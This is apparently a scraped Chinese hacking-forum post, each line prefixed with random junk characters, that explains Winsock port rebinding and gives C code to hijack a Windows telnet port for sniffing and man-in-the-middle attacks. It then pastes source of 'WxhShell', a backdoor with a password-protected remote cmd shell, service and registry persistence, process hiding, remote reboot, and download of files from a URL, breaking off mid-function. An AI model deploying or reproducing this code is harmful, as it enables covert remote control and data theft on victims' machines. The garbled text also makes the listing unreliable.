在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p+CUYo( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0B}4$STOo[ =V[uXm saddr.sin_family = AF_INET;
~SnUnNDm ` Jsz!ro saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z!)~?<gcq: ilA45@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0NXH449I= 5% 2A[B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}yz>(Pq V
~C$| +>e 这意味着什么?意味着可以进行如下的攻击:
ffZ~r%25{ ;2p+i/sVj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
tAdE<).! _)M,p@!?=h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F$C6( C? |eqBCZn 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\D7bTn qqrjI. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V'Gal` 'X^auyL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y`;}w}EcgR F5h/> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FSIiw#xzH CKYg!\g(: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+0'F@l =p+y$ #include
!%iHJwS# #include
E
TT46%Y #include
Ld4U #include
UB/> Ro DWORD WINAPI ClientThread(LPVOID lpParam);
M+)a6g e int main()
1(
pHC {
Wg']a/m WORD wVersionRequested;
lW+mH= DWORD ret;
-(qRC0V WSADATA wsaData;
Zh"m;l/] BOOL val;
[#PE'i4 SOCKADDR_IN saddr;
a=iupXre9 SOCKADDR_IN scaddr;
b/wpk~qi int err;
|9CikLX)7 SOCKET s;
(_T{Z>C/J SOCKET sc;
6':iW~iI int caddsize;
WYP ;s7_ HANDLE mt;
B5b:znW2@ DWORD tid;
%6UF%dbYH` wVersionRequested = MAKEWORD( 2, 2 );
h>-P / err = WSAStartup( wVersionRequested, &wsaData );
h051Ol\v* if ( err != 0 ) {
I;(3)^QH# printf("error!WSAStartup failed!\n");
at: li return -1;
3S^0%"fY }
# B `?}a= saddr.sin_family = AF_INET;
;_o]$hV| ekM?
'9ez //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
qt/K$' "-J5!y*,Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4&/CES saddr.sin_port = htons(23);
E+f)Zg
: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]Bhy=1 {
oBzl=N3< printf("error!socket failed!\n");
{/'T:n# return -1;
#Y'eS'lv4 }
U!wi;W2 val = TRUE;
wP!X)p\ //SO_REUSEADDR选项就是可以实现端口重绑定的
:|S zD4Ag if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A#{63_H {
bsIG1&n'T printf("error!setsockopt failed!\n");
IhnBp 6p9 return -1;
p_FM 2K7! }
nhV"V`|d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wQ}r/2n|^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iOE. .xA: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o/5-T4 ARk(\,h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
']_2@<XW) {
rQ;w{8J\t ret=GetLastError();
5/meH[R\M printf("error!bind failed!\n");
HA6tGZP*L return -1;
i"8mrWb }
L P<A q listen(s,2);
_plK(g-1J% while(1)
-d ntV= {
O9=/\Kc caddsize = sizeof(scaddr);
g'0CYY //接受连接请求
^D yw(>9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>Vuvbo if(sc!=INVALID_SOCKET)
x#rgFY,TY {
dP5x]'"x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
x7j#@C if(mt==NULL)
%)ho<z:7U {
.tBlGMcN printf("Thread Creat Failed!\n");
#6`5-5Ks; break;
P3M$&::D- }
6{Wo5O{!\ }
04a
^jjc CloseHandle(mt);
aSL`yuXu }
1+l 8%G=hB closesocket(s);
u-_r2U WSACleanup();
Hbm 4oYN return 0;
_;lw,;ftA }
tFN >]`Z DWORD WINAPI ClientThread(LPVOID lpParam)
$] 6u#5 {
@MW@mP)# SOCKET ss = (SOCKET)lpParam;
+-9vrEB SOCKET sc;
R4?>C-; unsigned char buf[4096];
$a(-r-_Fi] SOCKADDR_IN saddr;
tne_]+ long num;
sZ;|NAx) DWORD val;
h
><Sp*z_V DWORD ret;
E$8JrL //如果是隐藏端口应用的话,可以在此处加一些判断
mxc)Wm<4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q7%4 `_$! saddr.sin_family = AF_INET;
kfy!T rf saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6Q.S saddr.sin_port = htons(23);
QY\k3hiqn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H4/wO {
_|k$[^ln^ printf("error!socket failed!\n");
ZsmOn#`=^} return -1;
PEMkx"h + }
9 {4yC9Oz> val = 100;
\kADh?phV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)rc!irac] {
<p@Cx ret = GetLastError();
@d75X Y Ku return -1;
Z!p\=M,% }
mScv7S~/s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UaT%tv>}8# {
J<)qw ret = GetLastError();
q"2QNF' return -1;
v.0qE}'
| }
]#!uke Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
((y|?Z$ {
kA:Y^2X' printf("error!socket connect failed!\n");
!_W:%t)g closesocket(sc);
O
zAIz+` closesocket(ss);
4kOO3[r return -1;
)G[byBa }
% rBzA< while(1)
1S{Biqi+ {
_e%D/} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
w.qtSW6M+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
BN/4O?jD9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2u{~35 num = recv(ss,buf,4096,0);
w)btv{* if(num>0)
k"wQ9=HP7 send(sc,buf,num,0);
qxL\G &~ else if(num==0)
7qKz_O break;
!_I1=yi num = recv(sc,buf,4096,0);
sp K8^sh if(num>0)
I-#H+\S send(ss,buf,num,0);
F(")ga$r else if(num==0)
hlVye&;b8 break;
}=R]<`Sj.j }
\#sD`O closesocket(ss);
05UN
<l] closesocket(sc);
F^!D[:;jK return 0 ;
TnW`#.f }
G gO5=| 6BE,L ep>!jMhJa ==========================================================
wj[yo
S n@p]v* 下边附上一个代码,,WXhSHELL
}{0}$#zu F72#vS
j ==========================================================
d^=BXCoC fN vQ.; #include "stdafx.h"
RTtKf i} 8R~<$xz #include <stdio.h>
l;8t%JV5 #include <string.h>
?%kgfw@) #include <windows.h>
yD[d%w #include <winsock2.h>
\;;M")$ #include <winsvc.h>
2+]5}'M #include <urlmon.h>
,EqQU| *v<f#hB" #pragma comment (lib, "Ws2_32.lib")
kk4 |4 #pragma comment (lib, "urlmon.lib")
!$I~3_c sz7*x{E #define MAX_USER 100 // 最大客户端连接数
kc'$4 J4Tw #define BUF_SOCK 200 // sock buffer
%VHy?!/ #define KEY_BUFF 255 // 输入 buffer
DP_b9o
\5 *,u3Wm|7 #define REBOOT 0 // 重启
R'c*CLaiE #define SHUTDOWN 1 // 关机
q~{)
{t; %G?@Hye3 #define DEF_PORT 5000 // 监听端口
*)^6'4=
manw;`Q #define REG_LEN 16 // 注册表键长度
4P{|H #define SVC_LEN 80 // NT服务名长度
srS!X$cec )k<cd.MX // 从dll定义API
U1`5P!ov typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J"gMm@#C4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D]]e6gF$e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V 6}5^W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6@]o,O $q!A1Fgk0 // wxhshell配置信息
kUBE+a6# struct WSCFG {
?<Qbp;WBo int ws_port; // 监听端口
q ` S
~w char ws_passstr[REG_LEN]; // 口令
Y:*% [\R int ws_autoins; // 安装标记, 1=yes 0=no
vG |!d+ char ws_regname[REG_LEN]; // 注册表键名
z']6C9m} char ws_svcname[REG_LEN]; // 服务名
xj5TnE9^ char ws_svcdisp[SVC_LEN]; // 服务显示名
KGt: char ws_svcdesc[SVC_LEN]; // 服务描述信息
KpN]9d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g-3^</_fZ int ws_downexe; // 下载执行标记, 1=yes 0=no
+'F;\E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y_PA9#v7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#N{] /R&`]9].s };
rrIyZ@_d9 A}fm).Wp@ // default Wxhshell configuration
hs6pp/h> struct WSCFG wscfg={DEF_PORT,
M+"6VtZH "xuhuanlingzhe",
hqRC:p#9 1,
0kJ8H!~u "Wxhshell",
Y e0,0Fpw "Wxhshell",
Mo/R+\u+Y "WxhShell Service",
PRfq_:xy "Wrsky Windows CmdShell Service",
.Ys
e/oEo "Please Input Your Password: ",
#H$lBCWI 1,
e;i 6C%DB "
http://www.wrsky.com/wxhshell.exe",
XtCIUC{r, "Wxhshell.exe"
.AN1Yt };
z+Xr2B fY]"_P // 消息定义模块
k(H&Af+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
AKk=XAG W char *msg_ws_prompt="\n\r? for help\n\r#>";
b'wy{~l@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.0dGS char *msg_ws_ext="\n\rExit.";
\?
/' char *msg_ws_end="\n\rQuit.";
Whd > char *msg_ws_boot="\n\rReboot...";
X5owAc6 char *msg_ws_poff="\n\rShutdown...";
w4fKh char *msg_ws_down="\n\rSave to ";
j"Jf|Hq $ |E~c#lV char *msg_ws_err="\n\rErr!";
bQD8#Ml1 char *msg_ws_ok="\n\rOK!";
[G 9Pb) wx-\@{E char ExeFile[MAX_PATH];
k26C=tlkv" int nUser = 0;
0 u*a=f= HANDLE handles[MAX_USER];
RvG=GJJ9 int OsIsNt;
E PE_2a} QN*|_H@h SERVICE_STATUS serviceStatus;
<F^9ML+' SERVICE_STATUS_HANDLE hServiceStatusHandle;
$9%F1:u Y:CX RU6eD // 函数声明
l8~(bq1 int Install(void);
izSX int Uninstall(void);
(iKJ~bJ int DownloadFile(char *sURL, SOCKET wsh);
-!!]1\S*Y int Boot(int flag);
[4?r0vO void HideProc(void);
~d7t\S int GetOsVer(void);
2l?^\9& int Wxhshell(SOCKET wsl);
iM!Ya! void TalkWithClient(void *cs);
b}TvQ+W]2 int CmdShell(SOCKET sock);
h6k" D4o\ int StartFromService(void);
-1Tr!I:1 int StartWxhshell(LPSTR lpCmdLine);
AL":j6!OQ 20I`F>-* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2]kGDeSr VOID WINAPI NTServiceHandler( DWORD fdwControl );
gWgp:;Me a&{Y~Og?% // 数据结构和表定义
ZH~bY2^; SERVICE_TABLE_ENTRY DispatchTable[] =
BP..p ^EPN {
k'r} @-X {wscfg.ws_svcname, NTServiceMain},
yeyDB>#Va. {NULL, NULL}
h: yJ };
4T@+gy^. U/'l "N[ // 自我安装
G^B>C int Install(void)
et5lfj {
_1[Wv? char svExeFile[MAX_PATH];
<M\&zHv HKEY key;
af<h2r strcpy(svExeFile,ExeFile);
E5i5gE"\ N]FRL\K // 如果是win9x系统,修改注册表设为自启动
}$i"t8"s if(!OsIsNt) {
Gd A!8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WVD48}HF- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
yKhI& RegCloseKey(key);
)W= O~g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OPN\{<`*d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kNK0KL RegCloseKey(key);
=F|9ac9X return 0;
j-d&4,a:c }
Dtd~}-_Q }
N!ihj:, }
IP/%=m)\% else {
?98!2:'{9 L\UPM+tE // 如果是NT以上系统,安装为系统服务
X<5fn+{]S: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oeg
Bk if (schSCManager!=0)
dnomnY(*< {
*%/O (ohs@ SC_HANDLE schService = CreateService
Xfg3q.q (
t Cb34Wpf schSCManager,
(rFiHv5 wscfg.ws_svcname,
<O7!( wscfg.ws_svcdisp,
c2NB@T9'v SERVICE_ALL_ACCESS,
/e"iYF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eP"B3Jw SERVICE_AUTO_START,
@_f^AQ SERVICE_ERROR_NORMAL,
s! 2[zJ19p svExeFile,
hZfj$|< NULL,
]y.V#,6e NULL,
G@/iK/>5|` NULL,
\dCGu~bT NULL,
d4ecF%R NULL
w:lj4Z_ );
A:Wr5`FJ if (schService!=0)
_cvX$(Sg {
/?r A| CloseServiceHandle(schService);
<Q(E {c3" CloseServiceHandle(schSCManager);
Q>D//_TF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8\68NG6o strcat(svExeFile,wscfg.ws_svcname);
H?O5 "4a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_{c_z*rM8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?fH1?Z\'K RegCloseKey(key);
O|sk"YXF return 0;
O)`L(
x }
:+6W%B }
q83^?0WD CloseServiceHandle(schSCManager);
FkrXM!mJ }
h,FU5iK| }
+rU{-`dy9' oc)`hg2= return 1;
1N(#4mE= }
3F]Dh^IR9 #&T O(bk // 自我卸载
D2}^TIg int Uninstall(void)
[L X/O@ {
K?J_cnJ` HKEY key;
,z.l#hj,{ -XXsob}/8 if(!OsIsNt) {
.KKecdd?= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r QiRhp RegDeleteValue(key,wscfg.ws_regname);
Dx1(}D RegCloseKey(key);
x)=l4A\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Eo2`Vr9g RegDeleteValue(key,wscfg.ws_regname);
iXy1{=BDv RegCloseKey(key);
j7ZxA* return 0;
nEu:& 4 }
Ik^^8@z }
S>I` y]qlR }
K-:y else {
- (WH+ d7](fw@c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[L2+k?
* if (schSCManager!=0)
7P2n{zd, {
f$QkzWvr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i[9yu- if (schService!=0)
p#jAEY p {
iS,l if(DeleteService(schService)!=0) {
xgMh@@e CloseServiceHandle(schService);
l#enbQ`-~ CloseServiceHandle(schSCManager);
|hxiARr4 return 0;
Fc@R,9 }
5c3-?u! CloseServiceHandle(schService);
,2$<Pt; }
<4.Exha;= CloseServiceHandle(schSCManager);
OC*28) }
IrQ.[?C }
4
9N.P;b nrMW5>&-` return 1;
>)<? }
z(A[xN@/W< 1W'Ai"DLw // 从指定url下载文件
SbGdcCB int DownloadFile(char *sURL, SOCKET wsh)
yn}Dj9(q {
H;4QuB'^ HRESULT hr;
T+nID@"36 char seps[]= "/";
I3.. Yk%7 char *token;
}},0#Ap char *file;
Rm=p} char myURL[MAX_PATH];
(a#gCG\ char myFILE[MAX_PATH];
%<-OdyM .2c/V strcpy(myURL,sURL);
%4m Nk}tyH token=strtok(myURL,seps);
is8i_FoD,n while(token!=NULL)
UgAp9$=z {
0]bt}rh file=token;
fY9+m}$S$ token=strtok(NULL,seps);
exJc[G&t( }
^%,{R},s H9)n<r GetCurrentDirectory(MAX_PATH,myFILE);
,5v'hG strcat(myFILE, "\\");
=xm7i#1 strcat(myFILE, file);
U\Vg &"P send(wsh,myFILE,strlen(myFILE),0);
j5/pVXO send(wsh,"...",3,0);
x 4_MbUe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^+D/59I if(hr==S_OK)
I`{*QU return 0;
K bLSK else
$h
pUI return 1;
%CHw+wT& +]cf/_8+s }
}
doAeTZ 3GF67] // 系统电源模块
2>9\o]ac4 int Boot(int flag)
F}So=Jz9h {
]6B9\C.2-_ HANDLE hToken;
b_RO%L:"yL TOKEN_PRIVILEGES tkp;
`B@eeXa;u 5NZuaN if(OsIsNt) {
Jm<NDE~rw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qm!cv;}c1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Lbrl CB+ tkp.PrivilegeCount = 1;
7he,(V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yF(9=z"? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A#cFO)" if(flag==REBOOT) {
i'li;xUhZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Bza<.E= return 0;
$B-/>Rz }
%TQ4ZFD3 else {
|p[Mp:^^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y"bm4&' return 0;
cEu_p2(7!B }
(.P}>$M9 }
`15}jTi else {
+8zACs{p if(flag==REBOOT) {
8%CznAO"?W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
68,j~e3-i return 0;
,WWd%DF) }
d]e36Dwk else {
<8 <P, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V.:,Q
return 0;
)!27=R/ }
2*V%S/cck }
LRHod1}mS ?\,;KNQr return 1;
5%\K }
!6-t_S &D M3/^70 // win9x进程隐藏模块
`3\U9ZH23 void HideProc(void)
I%r7L {
$/"Ymm#"\Y E>QS^)ih HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S|tA%2z if ( hKernel != NULL )
Db Qp(W0 {
2x<BU3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
fQib?g/G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
KX~
uE6rX FreeLibrary(hKernel);
.t\J@?Z }
L;opQ~g ra*|HcLD return;
ks.p)F>] }
_m?i$5 &6CDIxH{ // 获取操作系统版本
V]--d33/a int GetOsVer(void)
\2 DED {
I*TTD]e'X OSVERSIONINFO winfo;
\m|5Aqs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
dYISjk@ GetVersionEx(&winfo);
it H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
} 9zi5o8 return 1;
wqDf\k}'v else
VQ('ejv}/ return 0;
3y.+03
W }
@xdtl{5G
+!u9_?Tp // 客户端句柄模块
w&H>`l06
int Wxhshell(SOCKET wsl)
NE#`ZUr3 {
WVyDE1K< SOCKET wsh;
uB"B{:Kz struct sockaddr_in client;
.>;??BG} DWORD myID;
W^3 Jg2gE \"ogQnmz while(nUser<MAX_USER)
0"e["q{| {
p+iNi4y@ int nSize=sizeof(client);
9`92
> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
EgG3XhfS if(wsh==INVALID_SOCKET) return 1;
00;SK!+$ ef*Z;HI0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y`22DFO if(handles[nUser]==0)
;v]C8 }L^ closesocket(wsh);
&,{>b[ else
l\L71|3" g nUser++;
[O\)R[J }
iuWUr?`\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cRKLyb 8OOAPp$%| return 0;
%m6qL }
'~
B2[ vWmt<E|e // 关闭 socket
K@n-# void CloseIt(SOCKET wsh)
m#W XZr {
02EX_tt), closesocket(wsh);
Yz2N(g[ nUser--;
=A,T:!}' ExitThread(0);
L=;T$4+p }
FUSe!f ^( // 客户端请求句柄
$'CS/U`E} void TalkWithClient(void *cs)
r
ts2Jk7f {
4j0;okQWV' 8cZ[Kl% SOCKET wsh=(SOCKET)cs;
FP&Ykx~ char pwd[SVC_LEN];
lGahwn: char cmd[KEY_BUFF];
N>EMVUVS char chr[1];
,k.") int i,j;
j{FRD8]V
7)D[ }UXz while (nUser < MAX_USER) {
b'^<0c E2}X[EoBF if(wscfg.ws_passstr) {
KJ/Gv#Kj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t|V5[n! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9+*{3 t //ZeroMemory(pwd,KEY_BUFF);
Heqr1btK i=0;
PSAEW.L while(i<SVC_LEN) {
Y/UvNb<lK vO?sHh // 设置超时
Zt41f PQ fd_set FdRead;
/kr|}`#
Z struct timeval TimeOut;
Z/ml,4e FD_ZERO(&FdRead);
u)EtEl7Wq FD_SET(wsh,&FdRead);
jHT^I
as TimeOut.tv_sec=8;
_t]Q*i0p TimeOut.tv_usec=0;
z{BgAI, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GNHXtu6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uUp>N^mmVH 4#W$5_Ny if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L}Sb0 o. pwd
=chr[0]; )/!HI0TU
if(chr[0]==0xd || chr[0]==0xa) { eI`%J3BxR
pwd=0; ^3vI
NF
break; A]QGaWK
} ;XNC+mPK
i++; KRm)|bgE
} @ukL!AV?Y
~)pZ5%C
// 如果是非法用户,关闭 socket o:UNSr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )RFY2}
} %! Sjbh
GZ5 DI+3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4VF]tX?o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ci?\W6
Z! /_H($
while(1) { Yt_tAm
6&i])iH
ZeroMemory(cmd,KEY_BUFF); 7^.g\Kt?
=v|$dDz
// 自动支持客户端 telnet标准 +5O^{Ce6
j=0; $pPc}M[h
while(j<KEY_BUFF) { 6C"${}SF`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Hf?["m^@
cmd[j]=chr[0]; D?xR>Oo)
if(chr[0]==0xa || chr[0]==0xd) { ?Nt m5(R
cmd[j]=0; W4qT]m
break; EN^L.q9#
} Z
*tHZ7b
j++; ~|~ 2B$JeV
} lGT[6S\as
Zl#';~9W
// 下载文件 (O:&RAkk7
if(strstr(cmd,"http://")) { :`BG/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7/]Ra
if(DownloadFile(cmd,wsh)) }`0=\cKqn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6L~5qbQ
else S{XO3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |'}r-}
} V@G|2ZI
else { l9%ckC*q
ZZ}HgPZ
switch(cmd[0]) { =mwAbh)[7n
P"Q6 wdm
// 帮助 dZkKAK:v
case '?': { 1'&HmBfcb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B&!>& Rbx
break; ~t*_
} _Nz?fJ:$@
// 安装 y9i+EV
case 'i': { X+\=dhn69
if(Install()) #Ph8?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`
ebi|6
else "_rpErm
}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Kl<<pUaV
break; yJ; ;&
} [BKTZQ@G@
// 卸载 DM)Re~*
case 'r': { A)SnPbI-p
if(Uninstall()) _!Z}HCk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qpf|.m
else G!F_Q7|-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_jV0[\v0P
break; CC`#2j
} l,QO+
>)z
// 显示 wxhshell 所在路径 5@bmm]
case 'p': { ;;^?vS
char svExeFile[MAX_PATH]; D_z&G)
strcpy(svExeFile,"\n\r"); |n s9ziTDI
strcat(svExeFile,ExeFile); Ln h'y`q
send(wsh,svExeFile,strlen(svExeFile),0); SrWmV@"y
break; LmR OG-9
} C91'dM
// 重启 R6o07.]
case 'b': { {oo(HD;5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,0,&
L
if(Boot(REBOOT)) 7W/55ZTmJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `9f7H
else { Y$hLsM\%
closesocket(wsh); ~^~+p
ExitThread(0); '<C#"2
} W H+Sd
break; (H|^Ow5
} eg"!.ol
// 关机 Co<F<eXe
case 'd': { B]#iZ,Tp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #@M'*X_%}K
if(Boot(SHUTDOWN)) V8%( h[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zqg
AgN@
else { bwjLMWEVq
closesocket(wsh); Zq/=uB7Z
ExitThread(0); SzjylUYV
} ]4_)WUS.c
break; ]A_A4=[w
} mL s>RR#b
// 获取shell 3SF J8
case 's': { 59_VC('
CmdShell(wsh); b~rlh=(o#_
closesocket(wsh); Eo<N
ExitThread(0); @7Nc*-SM
break; w4uY/!~k
} Ve\!:,(Y_
// 退出 v`"BXSmp{
case 'x': { <3{>;^|e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #|cr\\2*
CloseIt(wsh); G'_5UP!
break; i"M$hXO
} =:^f6"p&Z
// 离开 2cJ3b
0Xx
case 'q': { N!af1zj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); iS8yJRy
closesocket(wsh); u,S}4p&l
WSACleanup(); G:PcV_ihx
exit(1); MOP#to)k&
break; 3q (]Dg;v
} z
2Ao6*%
} /5R?(-
} c~Z\|Y`#B
IqjH
// 提示信息 G]>P!]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jy#21
} NK(; -~{P
} YjeHNPf
PKNpR
return; ddeH-Z
} >Q# !.lH$W
IlP@a[:_
// shell模块句柄 0p \,}t\E
int CmdShell(SOCKET sock) wArtg'=X
{ [/eRc
STARTUPINFO si; 'miY"L:| O
ZeroMemory(&si,sizeof(si)); |Z{
DU(?[b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _dw6 C2]P
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EAnw:yUV(
PROCESS_INFORMATION ProcessInfo; n@| &jh
char cmdline[]="cmd"; D5fhOq+g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i<uk}
return 0; P*8DM3':
} )@.6u9 \
cvv(OkC
// 自身启动模式 IqmQQ_KH
int StartFromService(void) ,OaPrAt-
{ %y2i1^
typedef struct {
BDUl3T
{ 92Df.xI}
DWORD ExitStatus; pr"~W8
DWORD PebBaseAddress; h*X
u/aOg
